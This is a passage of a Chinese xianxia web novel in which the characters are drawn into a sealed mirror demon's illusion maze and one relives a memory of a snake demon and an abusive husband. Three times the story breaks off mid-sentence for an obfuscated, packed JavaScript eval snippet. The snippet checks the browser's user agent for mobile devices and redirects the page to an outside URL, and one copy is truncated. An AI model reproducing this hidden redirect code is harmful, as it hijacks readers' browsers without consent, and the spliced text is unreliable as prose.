言隐转身往外走,低声道:“没下次了。” 话出口半天没等到回音,他心想,难道萧唤月没听懂他的言外之意吗?没下次的意思就是不会再回来了。还是说她听懂了但懒得搭理他? 忍不住侧头一看,原来邓相许正在俯身同她讲话,引走了她的注意力。 邓相许:“你先坐,我去拿吃的过来。” “我也去......” “没事,那点儿东西我一个人拿就行。” 萧唤月想了想也是,丢个悬空术,多少盘子都拿得回来。 不由得感慨,这就是会法术的好处啊。 “好,那劳烦了。” “你想吃什么,我随便拿?” 萧唤月想了想:“帮我拿只烧鸡。” 邓相许一走,萧唤月抬目,才发现言隐还没离开。 她迟疑道:“刚才你有说什么吗?我好像听到几个字,但不是很清楚。” 言隐走回来坐下,盯着她一字一句道,“我要走了,离开丘山。” “是发生了什么事吗?” “没有,只是我觉得待在这儿没有意义。” 萧唤月反应过来,小声道:“所以......是不会再回来的意思?” “就算留在这里,也得不到我想要的,还不如早点离开。” 萧唤月歪头:“为什么不告诉我你想要什么,说不定我能帮忙。” 言隐哼了一声,心想反正都要走了不如破罐破摔,直言道:“我要你爱我,你能帮?你连利用我都不肯,怎么会爱上我。” “......抱歉,最近生活顺风顺水,没有什么能利用你的机会。” 言隐一滞,别过头去:“无所谓了。” 萧唤月凑过去,“言隐,你并不喜欢我。” “你也不喜欢我。” “......我是好奇,你似乎执着于获得我的好感,但你并不喜欢我,所以你不是在追求两情相悦。” 她的语气很肯定。 言隐没再反驳,一瞬间有了和盘托出的念头:“其实......” 同时系统尖锐的警报声在他脑海中响起:【警告!警告!警告!禁止向书中角色透露系统的存在,否则会对宿主进行记忆清除处理。】 这一茬倒忘了...... 言隐被一连串的警报声吵得头疼,捂着脑袋低低骂了句脏话。 萧唤月发觉到他的异常,关切道:“怎么了?” “没事,头痛。” 迟疑了一下,萧唤月突然问:“你说不出来真相,对吗?” “是。” “有类似保密术的东西作用在你身上,所以你不能直接说出口——你只需要点头或者摇头。” 言隐点头。 “如果我爱上你,你能获得某种奖赏。” 他再次点头。 “对我有害么?” 他猛摇头。 “要爱到哪种程度才可以?如果不方便回答就算了。” “非常,非常爱,爱到没我不行。” “怪不得你之前不想说。”萧唤月抱歉地笑了笑,“事实是这样的话,我的确无能为力了。” 系统:【宿主,你现在攻略她的成功率更低了。】 言隐挺洒脱地摆了摆手:“没关系,反正我都准备放弃了,强扭的瓜不甜。你不会爱上我,就像我也不会爱上你一样。我走了,有缘再见。” 萧唤月:“除了那件事以外,有需要的话,你可以找我。” “好。”言隐也没推辞。 “丘山那边你怎么说?” “当我失踪了就行。” 言隐斜眼一瞥,邓相许正朝这边走。 “走前问一句,你跟他关系什么时候变这么好了,饭都一起吃?” 萧唤月摇头:“只是今天而已,他说有事要跟我讲。” “我可以听吗?” “这得问他。” “正好,他来了。” 邓相许拿了一只烧鸡两碗米饭,还有两个素菜。回来看见言隐还没走,他投过去一个疑惑的眼神。 言隐一挥手,桌面上剩下的餐盘碗筷全都自动叠得整整齐齐,留出了一片空地儿。 “收拾好了,饭菜放这吧。” “哦......谢谢。”有点搞不清言隐的路数,但邓相许还是坐了下来,把碗筷递给萧唤月。 “你要对萧唤月说的事情我可以听吗?”言隐一点儿没掩饰自己的目的。“不行我就走。” 邓相许端起饭但是没吃,他愣了下神,当真开始思考起言隐的话。 “应该......可以?” 言隐:“听起来你有点犹豫。” 邓相许坚定道:“可以。” “那你说。” “这里人有点多,吃完饭我带你们去个地方。” “哦。” 言隐只好等在一旁,他不明白,既然膳堂不是个谈话的好地方,那邓相许为什么不直接约在晚饭后? 算了,他想,反正今晚就要离开,不差这一会儿,等等就等等呗。 被言隐一直盯着,邓相许不自觉加快了吃饭速度,一双筷子舞出了残影。 邓相许肯让言隐加入,其实也是经过综合考量之后才决定的,在他印象里言隐跟萧唤月关系一直不错,而且不像是会打小报告的人。 最重要的是言隐实力不低,或许能作为一个有力的帮手。 吃完饭,邓相许带着两人来到后山的波玉潭。这里离禁地仅有数丈之遥,少有人涉足。 邓相许:“我要说的事跟我姐有关。” 言隐:“你姐是谁?” “秦喜。” “哇,在林子里捅你一剑那个?” “......倒也不能这么说,那是她的意识体干的。” “哦。” 在上次弟子选拔之后,秦喜就没再刻意瞒着与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14361613|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邓相许的关系。似乎是觉得自己在巨木林里做的事实在过了头,她对表弟态度不像从前那般漠然了,会在人前同他打招呼,还托人往他那儿送去许多东西。 初时邓相许是挺生气的,连着秦喜送来的东西都不想收。 他一直知道表姐讨厌他,当然他也不喜欢表姐。本以为巨木林那件事情是秦喜故意为之,他甚至做好了老死不相往来的准备。 没想到秦喜竟然主动登门跟他认错道歉,解释了事件原委,还发誓说明年一定帮他晋升成功。 表姐这般向他示好,真是前所未有的新体验。在表姐小心翼翼的讨好下,邓相许居然有些心软,不好意思再拿乔。 邓相许:“反正,事情就是这样,我跟秦喜现在关系没那么僵了。她是个死心眼,说要帮我明年晋升,当真就去到处打探消息,想知道明年的考核形式是什么。” 萧唤月:“最大的可能性还是打擂台吧?” “不。”邓相许摇头,“她在路师姐那里打听到,八万春长老又有了新点子,明年会是更有意思的赛制。” 萧唤月好奇:“路师姐是......路承蕊师姐?” “对。” “既然是八万春长老的亲传弟子,那这消息可信度应该很高。” “不错,她费了不少劲儿才从师姐那里打听到这事。”邓相许耸肩,“但师姐说最多只能提醒到这儿,不能告诉我们具体内容。” 言隐:“那不跟没说一样......” “还没完呢,我接着讲。”邓相许神神秘秘地一笑,“八万春长老之前不是下山收伏了一只大妖么,那只妖行踪不定,曾在苦心谷出没。秦喜的父母就在那附近,于是也去帮了把手。” 秦喜与父母偶有书信往来,阴差阳错之下得知了这件事。 那妖物的来历也算奇特。 说是从前苦心谷中有一汪深潭,乃是坠崖人的天然坟墓。经年累月,水中白骨浮尸的怨气凝聚成形,反将这潭水尽数吸收,缩成二尺来方的圆镜模样。 镜妖就此诞生,有了自我意识,不再安于一隅。它辗转流离到人间各处,蛊惑过路人作它的养料。 邓相许:“这镜妖的厉害之处在于,一旦被它吸收入腹,饶是修仙大能也难以逃脱。就像捕兽夹那样,没有强硬的攻击手段,但只要有猎物进场就牢牢抓住不放。” 言隐:“这么夸张?” “是啊,连我们宗门长老那等厉害人物,也不得不加倍小心,集结众人之力才逮住它,控制起来。” 萧唤月:“可是,这跟选拔赛有什么关系呢?” “八万春长老对镜妖很感兴趣,没有将它就地灭杀,而是将其带回了丘山。” 萧唤月恍然大悟:“所以你们觉得八万春长老的新点子和这只妖有关?” 邓相许:“不错。” “但......让妖参与到考试当中?”萧唤月私以为这做法风险太高,“据我所知,此前从未有过先例。即便是被控制住的妖,那也不是闹着玩儿的。” “我们是往大胆了猜,毕竟八万春长老就喜欢搞一些新鲜玩意儿。” “好吧。”萧唤月露出饶有兴致的表情,“想让我怎么帮忙呢?” “那只妖被加了封印,安置在波玉潭里。” “波玉潭......”萧唤月眼皮一跳,“波玉潭?!” 那不就在他们旁边吗? 言隐跃跃欲试:“有意思,下水看看。” 邓相许连忙拦住他:“我们没想做什么出格的事,就是来......观察观察。” 言隐奇怪地看着他:“不下水怎么观察。” “长老敢把那面镜子安置在这里,必然是提前加固过封印。我表姐昨夜已经来看过一次,没看出什么名堂。” 萧唤月:“你姐看上去老实巴交,做事倒很大胆。” 邓相许挠挠头:“她说不会做什么出格的事,只是想看看这妖究竟是圆是扁。” 秦喜特意叮嘱过邓相许,这件事最好别让同届参加选拔的外门弟子知道。 邓相许心想萧唤月不在“外门弟子”的范围内,于是问表姐,能不能找萧唤月帮忙。 当时秦喜若有所思地看着他:“可以,但你要保证她的安全,最好别下水。如果被发现,就说你们只是在附近玩耍,长老们不会怪罪。” 邓相许:“左良玉也可以叫上吗?” 秦喜:“我以为你会更喜欢二人世界。” 他结巴:“这,这个......” 秦喜了然一笑:“行了,左良玉跟我一起行动,你和萧唤月一起。但你切记,安全最重要,找不到线索也没事,就当是为选拔赛提前踩点了。” 这段对话邓相许没有转述给萧唤月听,反正二人世界已经变成三人世界,哪里还有半点旖旎氛围。 25. 第 25 章 三个人蹲在潭边大眼瞪小眼,都从彼此眼中看到了迷茫。虽然知道妖就被封印在水潭里,可他们无从下手。 萧唤月对此倒没什么意见,反正她只是来帮忙的,牢记安全第一,这种出工不出力的时刻她很乐意。 她捡起一颗石子儿往深潭里丢,水面荡开涟漪,很快又恢复平静,只有水草在摇曳,连条鱼都没有。 学着她的样子,邓相许也丢了块石头进去。 言隐:“你们在干什么,打水漂?” 萧唤月正想回应他,却忽然一个激灵,猛地挺直了背。 言隐:“怎么?” “好像有人......”萧唤月扭头回望,背后是乱石高树,枯枝野草,黑漆漆一片,看不真切。 那种感觉就好像有道目光落在自己的后脑勺上,她没法忽视。 她试探性地往黑暗处扔出一颗石子。 咣当。 石子落在松软的土地上,按理来说不该发出这么清脆的声音。 萧唤月口中念诀,点点萤火在手心亮起。 “我过去看看。” 她小心翼翼地走近了些,手一抬高,一张幽白面孔映入眼帘,把她吓得一个趔趄。 “鬼?”她大惊。 言隐在后面扶了她一把:“是人。” 这方面言隐很有发言权,于是萧唤月放下心来,大着胆子又往前一步。 此时邓相许也在手心点起光灯,视野明晰了不少。 萧唤月得以看清,那是一个持枪而立的少年,不知在树旁边站了多久。 刚才她扔出去的那枚石子儿,正是打到了少年那柄银色长枪的枪杆。 大概是刻意遮掩了气息,少年站得离他这么近,她却一点也没有发现。 枪修?萧唤月不太确定玉胥宗里有没有使枪的同门。 注意到面前的陌生少年并没有穿弟子常服,萧唤月更倾向于他是个外来者,于是放下的心又悬了起来。 邓相许凑到她耳边悄悄道:“你觉不觉得他跟你长得有点......像?” 萧唤月一怔,重新端详起少年的脸。 在光线充足的情况下看着倒是不吓人了,但此情此情着实诡异,这张脸与她岂止是“有点”像,说有七分相似也不为过。 差点以为意识体又跑出来了。 但少年下颌骨的线条要更凌厉些,身量也比她高不少。眼神倒是与平日里的她如出一辙......同样笑意盈盈,释放出温良与友善的气息。 只是这友善的目光下有几分真心尚未可知。 “别紧张。”少年开口了,“我虽不是你们门派中人,但没有恶意。” 少年脑后高高绑起的马尾中藏着几条长生辫,束发用的镶玉缠丝发冠一看就价值不菲,左耳垂还戴了单边环式耳坠,看质地像是银曜石。 邓相许的目光从少年脸上移到身上,打量着这身骚包又不失低调的装束,判断此人至少是个世家公子级别的人物,在家里备受宠爱的那种。别的不说,就说少年腰间那块玉佩,不是有钱就能弄到的。 于是邓相许悄咪咪传音给萧唤月:“我觉得他身份不简单。” 几乎是同时,少年道:“我是里云宫的......呃。” 他似乎正思考着合适的措辞,微微皱起眉头,持枪的手不自觉使了点力气。枪尖没进土里两三寸,通体银白的枪杆矗立着,上面雕刻着神兽风狸,双眼栩栩如生。 “蓄风枪?” 到底也算是修仙世家,邓相许对那柄长枪颇有耳闻——听家里长辈提起过,那是里云宫少主白曜的标志性武器。 “对。”少年有些惊讶他认识自己的枪。 “那你是......里云宫的少主?” 萧唤月脑子嗡地一声,第一反应是,怪不得跟她长这么像...... 少年神色有些复杂,微不可查地叹了口气,随后大大方方袒露了自己的姓名,“白曜,幸会。” 言隐也是知情人士,转瞬间便明白了当下状况。他伸手在萧唤月后背拍了一拍,安抚似的。 当下最好的应对方式是装傻,萧唤月一言不发,直到邓相许报出自己姓名后,她才跟着道: “萧唤月,幸会。” 白曜的目光在她脸上多停留了一瞬,淡然点了点头:“月姑娘。” 邓相许好奇道:“既是里云宫少主,怎么会来到这里,道友是迷路了么?里云宫远在东极岸,与丘山应该很有一段距离才对。” “前些日子我经过苦心谷,碰巧得知八万春长老在寻找一只镜妖,我闻讯赶去的时候,那妖已被长老降服。于是我自告奋勇,助长老加固封印。” “原来如此。”邓相许悟了。他是听闻过的,里云宫白家有一秘术“胜天锁”,号称能封印收伏世间万物。或许有夸大其词的成分,但在修仙界中,白家于此道的确是登峰造极的存在,他们少主精通封印术法,没什么奇怪。 “我与长老随行,受邀在玉胥宗小住几日。”白曜解释说,“不久后我就会离开,走之前,想来确认一下封印有没有松动。” 前半句话有所隐瞒——事实上,八万春并没有邀请他,是他自己决定要在这儿待几天,理由是想欣赏丘山风光。 并且关于这事儿,白曜没有知会过里云宫的人,白江现在还以为儿子正按照家里规定的路线修行游历。 邓相许:“一定不会松动的,长老都没把这妖关在禁地里,可见他对这封印的牢固程度很放心。” 白曜:“不,其实是因为那妖从潭水中诞生,也要借潭水才能封住行动,波玉潭比禁地更合适做它的安身之所。” 邓相许默默后退了两步,远离潭水。 “我建议过你们长老把波玉潭也纳入禁地范围,但他似乎把这事忘了。好在此地少有人造访,一直没出什么乱子。” 萧唤月对八万春长老的不靠谱程度又有了一个新认知,庆幸自己没有冲动下水。 “回去吧?”她问邓相许。 “好。”邓相许后怕道,“我得跟秦喜说一声,让她不要再来这里了。” 白曜温和道:“也不用太过于紧张,至少,在波玉潭附近散散步,我想是没问题的。” 言隐:“下水可以吗?” “不建议这么做。”白曜走过去,观察了一下水里的状况,“水位线比起昨天有所下降,我猜那只妖并不甘心,仍在试图吸纳潭水,挣脱封印。” 趁言隐在和白曜讲话,邓相许小声对萧唤月道:“要是有人不小心跌落进去可怎么办,长老应该把这一片围起来。” 萧唤月:“失足跌落的可能性应该很小吧,毕竟大家都是练过的,对身体的控制能力怎会差到......” 话没说完,就听见噗通一声响。 岸边人似乎在湿滑的青苔上站立不稳,跌了进去,水花四溅。 萧唤月一抬头:“!” 她甚至想过落水的是白曜,都没想过会是言隐。 言隐呸呸呸地吐出一口水,伸手攀住岸边的石头想要爬上来。 从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14361614|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧唤月的目光中他看到了谴责,但苍天在上,他敢保证自己真不是故意的,刚才明明只是尝试着用指尖去接触水面,甚至都还没碰到,就被一股突如其来的吸力搞得失去了平衡。 萧唤月上前搭了把手。 言隐:“谢——” 又是噗通一声,两个人都掉下去了。 萧唤月:“?” 这次用不着言隐解释,她也感受到了那股吸力。 与此同时水面正在发生变化,一个缸口大的漩涡在水中央成型,像滚筒洗衣机一样把两人都搅了进去。速度太快萧唤月几乎来不及反应,晃眼只看到言隐兴奋的脸。 这可不是什么值得高兴的事,言隐进去之后有本事自保,她可不一定。当即松开了言隐的手拼命离岸边划,她离岸边只一步之遥,伸手想要抓住些什么,却只是徒劳。 那股吸力太大她抗衡不了,身体不由自主地往漩涡靠近,下沉。 邓相许在岸上一时失了主意,心急如焚,却不敢贸然靠近。 下一瞬萧唤月彻底沉入水中,带着奇异腥味儿的潭水从四面八方涌过来。她下意识缩回手,想要捂住口鼻。 可是没能缩得回来,因为有人在最后一刻抓住了她的手。 她看清了那头拉着自己的人,吃了一惊,想要甩开白曜让他自行上岸去。 她急得嘴里吐出了几个泡泡,然而为时已晚,三人都掉进了陷阱里,被下方等候已久的圆镜接住。 像一滴水融入大海那样,他们在触及镜面的一刹那就消失不见,似是融化了一般。 视野骤亮,萧唤月摔在什么东西上,质感介于坚硬和柔软之间。但摔得还是有点痛,她闷哼了一声,昏昏沉沉地抬起头。 周围亮堂堂的,是类似于镜面迷宫那样的封闭环境,前后左右延伸出无数条岔路。 身下的人发声:“你方便挪一下位置吗。” 低头一看发现是言隐,萧唤月赶紧起身,拍了拍裙子,惊异地发现身上衣料干燥清爽,像是从未入过水一样。 她思考的这么一会儿工夫,上面又摔下来一个人,把刚要站起来的言隐砸趴了下去。 白曜:“抱歉。” 言隐咬牙:“起来。” “好的。” 白曜不紧不慢地站起身,观望了一下周围环境:“镜中世界?封印果然松动了吧。” 他决定出去之后要再加固个十道八道,若镜妖得知他这想法一定会大喊冤枉,因为他们被吸入镜中的原因并不在于封印松动,而是言隐作为阴气载体充当了媒介,令镜妖能短暂地打开通道。 “小心。”白曜提醒,“若在这里被迷失了心智,就会被镜妖彻底吸收,成为它的养料。” 三人之中萧唤月看起来最为不安,她真希望今天从没来过波玉潭。 显然这是个易进难出的地方,她完全陷入了被动。好消息是身边有两个队友,坏消息是两个队友与她关系都有点尴尬,一个是不能相认的血缘关系上的哥哥,一个是目的不明的男鬼。 言隐略微心虚地靠近她:“我保护你。”其实他之前有机会把萧唤月推出水面的,可他什么也没做。 见萧唤月没反应,言隐又补充道:“不是为了讨你欢心得到好处......这次保护你,绝对是出于自我意志。” 萧唤月盯了他半晌,唇角翘了翘:“好哦。” 其实用不着言隐表忠心。 萧唤月已经想好了,就算扒在他大腿上,也非得让他把自己带出去不可,管他出于什么目的呢。 26. 第 26 章 白曜参与过镜妖的封印过程,是三人之中对它最为了解的。 他给其余人吃了颗定心丸:“镜中世界,难以逃脱,但并非不能逃脱。” 言隐:“听起来,你似乎知道怎么出去?” “方法很简单,过程却不容易。”白曜往前一指,“走出迷宫,就能离开镜中世界。” 言隐马上就要往前走,被萧唤月一把拉住。她看向白曜:“道友从何得知?” “八万春长老追寻镜妖踪迹时,发现过一位幸存者,他没有依托外力,自己从镜子里走出来的。” 言隐:“想必是很厉害的人物了?” “恰恰相反,那是个脑袋有问题的孩子,吃百家饭长大,没有学过法术,连字都不认识几个。唯一的过人之处是,他似乎完全没有共情的能力,这导致他既不会悲伤也不会兴奋,即使面对亲人的死亡也显得异常冷漠。或许正是这一点,帮助他逃离了镜妖的迷宫。” 言隐作思考状:“好线索,但我暂时想不通其中关联。” “那孩子说,走出迷宫的过程中他看到了很多东西,有时候自己还会变成另一个人,”白曜继续道,“说到底,镜妖是怨气凝聚而成的产物,那孩子所看到的东西,大概是镜妖利用已死之人的记忆,创造出的某种幻境。” 言隐冷哼一声:“原来是这种迷惑人的手段。” 白曜:“不过,这是个易进难出的地儿,倘若有人从外部施以援手,说不定能直接把我们救出去。” 萧唤月一喜:“那我们等着就好了?八万春长老在附近,很快就可以赶来救场。” 白曜摇了摇头:“八万春长老收伏镜妖时,救出过几个没被化成养料的凡人,明明只失踪了几天,他们却仿佛在镜中生活了数年有余,不知饥饱,不知昼夜。可见身处镜内和镜外,对时间的感知是有差异的。” 萧唤月颓然:“那......等邓相许搬完救兵,我们在里面不知得等到何时了。” “是这个意思,所以最好不要坐以待毙。”白曜望向前方,“根据情报,就算待着不动也会陷入幻境,闲着也是闲着,不如找找出路。” 白曜率先抬脚向前走,言隐随即跟上,萧唤月谨慎地走在最后。 来到第一个岔路口,白曜回头询问两人意见:“你们想走哪个?” 萧唤月探出头仔细观察:“看起来全都一模一样......” 言隐:“那就随便走一个。” 萧唤月举手:“但我听说过一个走迷宫的小技巧,只要左手摸着墙壁,遇到分岔路一率往左拐,最后就能出去。右手摸墙也一样,改成往右拐。” 言隐:“你觉得左边还是右边好?” “右......吧。”她纯粹觉得右边比较顺手。 白曜一言不发继续前行,进入了最右边的岔道。 进入岔道之后,约莫过了半个时辰,侧面忽然有刺目的白光袭来,逼得萧唤月不得不闭上眼睛。 随即周围的场景发生了翻天覆地的变化。 再次睁眼时,她竟然身处一个陌生房间里,光线幽暗,窗门紧闭。 外面隐隐传来打更人“天干物燥,小心火烛”的呼喊。 房间里只有萧唤月一个人,她摸索着走到门边,发现门栓是可以打开的。 由于事先已经有了心理准备,她此刻并没有多慌乱。 明月高悬,街道上空空荡荡,打更人的声音却没有消失。只闻其声不见其人,更显得诡异万分。 萧唤月心想,毕竟是利用别人的记忆做出的幻境,有漏洞也正常。 突然一只手摸上她的肩膀,她一回头,看见了一双绿幽幽的竖瞳。 目光往下一扫,她倒吸一口冷气。面前站着的显然不是人,上半身未着寸缕,肌肉虬结,下半身则是蠕动的蛇尾。 “怎么出来了?”那半人半蛇的家伙亲昵地靠在她身边,“不是让你等到天亮吗,到时我会来接你。” 萧唤月眼珠一转,觉得这蛇妖大概是幻境里类似于NPC的存在。 难不成是给她送线索来了? 她问蛇妖:“你要接我去哪里?” “离开这里。” “这里有什么不好吗?” 蛇妖脸色一变:“你反悔了,不想走?” “......”意识到自己可能说错了话,萧唤月闭上嘴。 蛇妖扭动着身子从她左侧转到右侧,狐疑地观察着她,同时耸动鼻尖,似乎在确认她身上的气味。 萧唤月僵硬地站着,任由他动作。 时间像是被按下了加快键,月亮以肉眼可见的速度西沉,天空泛起鱼肚白。 蛇妖也注意到天亮了。 他脸上露出担忧的神色,觉得不能再耽误下去。 萧唤月:“听你的,我们走吧。” 蛇妖吐了吐信子,脑袋搁在萧唤月肩膀上,用审视的目光盯着她:“你想去哪里。” 她:“......你决定就好。” 蛇妖:“如果你想留在这里,我不会勉强你。” 萧唤月还没有好好探索过附近区域,正想找个借口再拖延拖延,蛇妖竟主动提出让她留下。 她心中一喜,立即表态:“那我再待几天。” 蛇妖眼瞳一缩,忽然伸手抓住她的小臂。 萧唤月吓一跳:“怎么了?” 蛇妖目光灼灼,片刻后冷酷地下了定论:“你不是她。” 他一张嘴,上下颚以惊人的张合角度分开,露出森森尖牙。毫不留情,他一口咬在她的要害处,咬断了她的颈骨。 她瞳孔涣散,手指搭在腰间本该是剑鞘的位置,那里空无一物。 萧唤月猛地睁开眼,发现自己再次回到了那间陌生房间。她后怕地捂住脖子,喷涌的血液仿佛只是幻觉,一切从未发生过。 刚才本想拔剑来着......她蹙了蹙眉,这次没有急着出门,而是先在身上摸索了一通,这才发觉自己不仅没了剑,连储物戒都无法使用。 于是她明白过来,这里面的东西虽然不能对她造成实质性伤害,可她也失去了应有的反制手段。 或许是她修为境界不够的缘故,连内力都被幻境压制住。 想通之后萧唤月不再纠结,开始琢磨生路在哪里。 首先,尽量不要违背人物设定......可话说回来,她并不了解自己现在应该是什么设定啊! 只能少说话了,她想,说多错多,能当哑巴就当哑巴。 记得那蛇妖说过,等天亮会来接她,于是这次她决定在房间里待到天亮。 这里面时间的流逝速度令人感到匪夷所思,体感上只过了十分钟,外面就传来公鸡打鸣的声音。 一个胡须大汉闯进门来,力道之大差点把门板掀飞。 出现了意料之外的状况,萧唤月不知该作何反应,只好尽量维持表面平静。 那大汉一把握住她的手:“娘子,我们快走吧!那只蛇妖被我请来的术士打成重伤逃回了深山,不知何时又会回来报复,我们抓紧时间,快些搬家,逃到他找不见的地方去!” 她迟疑了片刻,正在思考该如何答复,男人忽然不满道:“你怎么回事。” 萧唤月镇定道:“我怎么了?” “你没笑,是不高兴吗?”大汉握着她的手猛地用力。“还是说你舍不得他,遗憾没能跟他远走高飞?” “哪能啊。”她嘴角抽了抽,“听你的,我们搬家吧。” 萧唤月很想问问要搬到哪里去,但她怕一开口,那大汉就会跟先前的蛇妖一样,问她“你不知道?”,然后掏出砍刀把她砍成十八截。 事已至此只能先顺着他的意,收拾了细软跟着出门。 白天的街道人满为患,与晚上的景象完全不同。 萧唤月跟在男人身后,心想莫不是要出城去。 她四下张望,发现街道两边的店铺基本都开着,还有许多商贩在人群中游走叫卖。 看似繁荣平和,细看之下依然能察觉到明显的异常。 例如粮福斋醉仙楼之类的高级饭店,乍见装潢富丽,可往里边儿一望,连张桌椅都没有,只一个店小二笑得跟假人似的,在门口招手迎客。 估计这段记忆的主人也没进去吃过饭,对里面的格局不太了解。 相比之下,几间医馆的构造就要明晰许多,连牌匾掉漆这种细节都有,坐诊的大夫脸上表情也很生动,正在同病人说话。 看来记忆的主人经常造访医馆,萧唤月默默记下了这个结论。 “在看什么?”男人顺着她的目光看过去,一拍脑袋,“哎哟,我忘了,你得备些药。正好路过医馆,你去买一点吧,我在这儿等你。” “......好。” 她慢吞吞挪步过去,进了医馆。 大夫熟稔地同她打招呼:“小宁,又来买药啊。” “对。”萧唤月不动声色认下了小宁这个名字,“就要平常买的那种。” 大夫给她抓了几副内用的药,又拿了一种祛疤的膏,还有外用的止血药。 “你相公又打你了?”大夫一边把药递给她,一边摇头叹气,“这样下去可不是办法,你劝劝他。” 萧唤月:“!” 本以为那男人让她去买药是出于某种关怀心理,搞半天是个打老婆的啊,真够虚伪...... 她心里默默吐槽,面上却装作若无其事,出了医馆,对男人道:“走吧。” “怎么去了这么久。”男人往里望,“是发生了什么?” 萧唤月一脸莫名,心想他也太多疑了点。她不就是跟大夫说了几句话,能有多久。 “好啊,我知道了。”男人突然发了怒,“里头那个小白脸帮工,你抓药时偷瞧他,瞧得投入,忘了时间,是不是?” 她都没注意到里面还有个帮工。看来这男人不仅有疑心病,还有一定程度上的妄想症。 不顾大街上人来人往,男人一边拉着她赶路,一边大声呵斥她的“罪行”,一直走到远离闹市的位置,他才住了口。 萧唤月快要忍不下去,犹豫着要不要假装摸他脸,趁机给他一巴掌。 会不会违背人物设定?她有些纠结。 从男人能撞坏实木门板的表现来看,他的力气已经超过凡人水平了。又或者,只是因为记忆主人过于恐惧他,认为他是“不可战胜”的存在,导致幻境中的男人受此影响,展现出了与真实状况不相符的实力。 手腕上忽然传来冰凉粘腻的触感,萧唤月扭头一看,手上竟然缠了条蛇尾巴。 “妖精还敢来?”男人大吼一声,不知从哪里摸出一把斧头往蛇身上砍。 萧唤月连忙躲开,否则手腕都要被他这一斧给切下来。 “你护着他?”男人感到不可思议。 萧唤月终于忍不住真情流露:“你有病吧。” “你为了他骂我?” “......剑呢!”她多恨此刻手上没有武器,内力又使不出来。 “你说我贱?” “嗯嗯。” 男人大吼一声,狂犬病发作似的朝萧唤月冲过来。 蛇妖十分虚弱,以原型的姿态缠绕在萧唤月腕间。如男人之前所说,他受了重伤。但他并没有逃回深山,而是拼着最后一口气回来找小宁。 蛇妖的绿瞳中倒映出小宁的身影。 那个术士还在追杀他。很可能下一刻他就会被循迹追来的术士灭掉,但他没法丢下女孩一走了之。 萧唤月注意到蛇妖正在断断续续地呕血,这样的伤势......她判断,蛇妖就算静静待着什么都不做,也离死不远了。 但令她没想到的是,那条蛇用最后的力气直起身子横在她与男人之间,为她挡住了那一斧。 结果可想而知,小蛇直接断成两截,倒在地上不动弹了。 与此同时萧唤月一个侧踢打在男人下巴上,这一击打在正常人身上至少能落个骨裂,然而男人只微微后退了一步,毫发无损。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14375091|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这合理吗? 萧唤月深吸一口气,当即改换策略,拔腿就跑。 这里已经离城门很近,她猜测,出了城门或许就代表走出幻境。 猜错了也没关系,大不了重新来过。这个傻比她忍不下去了,不如开局选蛇妖。 别的不说,有事那妖真上。只要不让蛇妖看出她不是小宁本人,他就不会伤害她。 男人在她身后猛追,没跑多远,一斧头飞过去,正好砍在萧唤月脖子上。 萧唤月只来得及回头比个中指,视野一暗,再次回到了那个昏暗的房间。 她直接推开门往外走,不出意料见到了蛇妖。 萧唤月一扬下巴:“走。” 蛇妖一愣:“我还没能杀了你相公......” “直接走,别管他们了。”再待下去你这小妖就要被人家请来的术士打回原身! 蛇妖没有拒绝她的要求,话中反而透出几分欣慰:“好,我先送你出城。” 结果两人走到一半,天光大亮,胡须大汉带着个术士截住了他们,术士打蛇,大汉打她,分工明确,一人一妖很快双双归西。 萧唤月睁开眼。 她不服气地再次走出门,决定这回从另一条路走。 然而迎接她的又是一斧头。 幻境里的男人强得可怕,萧唤月觉得男人找术士来收妖都是多此一举了,男人光靠自己就能打了蛇妖回去煲汤喝。 很快她发现无论走哪条路都避不开术士与男人,他们像是固定NPC似的,天一亮就刷新在她的逃亡路上。 可如果她选择跟男人走,男人会在半路上因为各种莫名其妙的小事对她痛下杀手。 比如她多看了买糖葫芦的一眼,男人就非说她爱上人家了,骂着骂着开始动手。又或者她一路低着头什么也不看,男人就骂这副丧样摆给谁看,是不是还在想那蛇妖。 谁都不选也不行,只要在夜晚出门她必定碰到蛇妖,而若是等到天亮,男人又必定破门而入。 出城如此困难,也间接让萧唤月确定了,城门就是幻境的出口。 至于蛇妖,可以算半个己方队友,但不太稳定。 屡战屡败,萧唤月也没太丧气。她心知,镜妖若真那么有本事,直接把她吸成干尸当养料不就好了,还要借助幻境来困住她,可见硬实力一般,只能搞精神攻击。 而且连有智力缺陷的小孩都能走出来,这幻境一定不是十全十美的,必有漏洞。 萧唤月分析着自己的处境,觉得自己加上蛇妖,或许能打过男人。不过有术士这个搅屎棍在,蛇妖能发挥的作用相当有限。 于是她转而把主意打在了术士身上,决定试试看,能不能策反他。 